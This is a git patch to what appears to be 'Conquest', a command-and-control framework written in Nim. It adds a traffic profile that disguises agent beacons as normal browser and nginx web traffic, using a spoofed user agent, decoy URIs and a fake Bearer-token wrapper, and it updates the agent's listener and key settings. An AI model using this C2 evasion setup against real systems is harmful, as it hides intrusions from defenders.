From 415cd7ebf818adb8140a813e4411c0218c55e1b3 Mon Sep 17 00:00:00 2001 From: Jakob Friedl <71284620+jakobfriedl@users.noreply.github.com> Date: Wed, 13 Aug 2025 19:32:51 +0200 Subject: [PATCH] Started implementing profile system. --- data/profile.toml | 37 +++++++++++++++++++++++++++++++++++++ src/agent/nim.cfg | 16 ++++++++-------- src/common/types.nim | 11 ++++++++++- src/server/api/handlers.nim | 1 - src/server/core/server.nim | 27 +++++++++++++++++++-------- src/server/main.nim | 2 +- 6 files changed, 75 insertions(+), 19 deletions(-) create mode 100644 data/profile.toml diff --git a/data/profile.toml b/data/profile.toml new file mode 100644 index 0000000..5d7d2f8 --- /dev/null +++ b/data/profile.toml @@ -0,0 +1,37 @@ +# Conquest default configuration file + +name = "cq-default-config" + +conquest_directory = "/mnt/c/Users/jakob/Documents/Projects/conquest" +private_key_file = "/mnt/c/Users/jakob/Documents/Projects/conquest/data/keys/conquest-server_x25519_private.key" +database_file = "/mnt/c/Users/jakob/Documents/Projects/conquest/data/conquest.db" + +[agent] +sleep = 5 +user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36" + +[http-get] +uri = [ + "/tasks", + "/api/v1.2/status.js" +] + +[http-get.agent.headers] +Content-Type = "text/plain" +Authorization = { encoding = "base64url", prepend = "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.", append = ".KMUFsIDTnFmyG3nMiGM6H9FNFUROf3wh7SmqJp-QV30" } + +[http-get.server.headers] +Server = "nginx" + +[http-post] +uri = [ + "/results", + "/api/v2/get.js" +] + +[http-post.agent.headers] +Content-Type = "application/octet-stream" + +[http-post.server.headers] +Server = "nginx" +Accept = "application/octet-stream" \ No newline at end of file diff --git a/src/agent/nim.cfg b/src/agent/nim.cfg index 5359bab..9ada0aa 100644 --- a/src/agent/nim.cfg +++ b/src/agent/nim.cfg @@ -1,9 +1,9 @@ # Agent configuration --d:ListenerUuid="D0981BF3" --d:Octet1="172" --d:Octet2="29" --d:Octet3="177" --d:Octet4="43" --d:ListenerPort=6666 --d:SleepDelay=10 --d:ServerPublicKey="mi9o0kPu1ZSbuYfnG5FmDUMAvEXEvp11OW9CQLCyL1U=" +-d:ListenerUuid="58A66E35" +-d:Octet1="127" +-d:Octet2="0" +-d:Octet3="0" +-d:Octet4="1" +-d:ListenerPort=5555 +-d:SleepDelay=5 +-d:ServerPublicKey="OzczGQndMRzmaVcJo5USBBSrk76FsNlU8SNzCGbyVgo=" diff --git a/src/common/types.nim b/src/common/types.nim index 5bcb6b6..3b43308 100644 --- a/src/common/types.nim +++ b/src/common/types.nim @@ -2,6 +2,7 @@ import prompt import tables import times import streams +import parsetoml # Custom Binary Task structure const @@ -149,18 +150,25 @@ type Protocol* = enum HTTP = "http" - Listener* = ref object + Listener* = ref object of RootObj listenerId*: string address*: string port*: int protocol*: Protocol + HttpListener* = ref object of Listener + register_endpoint*: string + get_endpoint*: string + post_endpoint*: string + # Server context structure type KeyPair* = object privateKey*: Key publicKey*: Key + Profile* = TomlTableRef + Conquest* = ref object prompt*: Prompt dbPath*: string @@ -168,6 +176,7 @@ type agents*: Table[string, Agent] interactAgent*: Agent keyPair*: KeyPair + profile*: Profile # Agent config type diff --git a/src/server/api/handlers.nim b/src/server/api/handlers.nim index 98d5321..0c3e0fb 100644 --- a/src/server/api/handlers.nim +++ b/src/server/api/handlers.nim @@ -87,7 +87,6 @@ proc handleResult*(resultData: seq[byte]) = of STATUS_IN_PROGRESS: discard - case cast[ResultType](taskResult.resultType): of RESULT_STRING: if int(taskResult.length) > 0: diff --git a/src/server/core/server.nim b/src/server/core/server.nim index 87cd02f..0163114 100644 --- a/src/server/core/server.nim +++ b/src/server/core/server.nim @@ -1,4 +1,4 @@ -import prompt, terminal, argparse +import prompt, terminal, argparse, parsetoml import strutils, strformat, times, system, tables import ./[agent, listener] @@ -127,29 +127,40 @@ proc header(cq: Conquest) = cq.writeLine("─".repeat(21)) cq.writeLine("") -# TODO: Add profile support instead of hardcoded paths, etc. -proc initConquest*(): Conquest = +proc init*(T: type Conquest, profile: Profile): Conquest = var cq = new Conquest var prompt = Prompt.init() cq.prompt = prompt - cq.dbPath = "../data/conquest.db" cq.listeners = initTable[string, Listener]() cq.agents = initTable[string, Agent]() cq.interactAgent = nil - cq.keyPair = loadKeyPair("../data/keys/conquest-server_x25519_private.key") + + cq.keyPair = loadKeyPair(profile["private_key_file"].getStr()) + cq.dbPath = profile["database_file"].getStr() + cq.profile = profile return cq -proc startServer*() = +proc startServer*(profile: string) = + # Handle CTRL+C, proc exit() {.noconv.} = echo "Received CTRL+C. Type \"exit\" to close the application.\n" - setControlCHook(exit) + let profile = parseFile(profile).getTable + # # dump table.getTable() + # let headers = table["http-get"]["agent"]["headers"].getTable() + # for key, value in headers: + # if value.kind == TomlValueKind.Table: + # echo value["encoding"] + # echo value["append"] + # echo value["prepend"] + # echo key + # Initialize framework try: - cq = initConquest() + cq = Conquest.init(profile) except CatchableError as err: echo err.msg diff --git a/src/server/main.nim b/src/server/main.nim index 6c009ec..3f66eb5 100644 --- a/src/server/main.nim +++ b/src/server/main.nim @@ -4,4 +4,4 @@ import ../modules/manager # Conquest framework entry point when isMainModule: loadModules() - startServer() \ No newline at end of file + import cligen; dispatch startServer \ No newline at end of file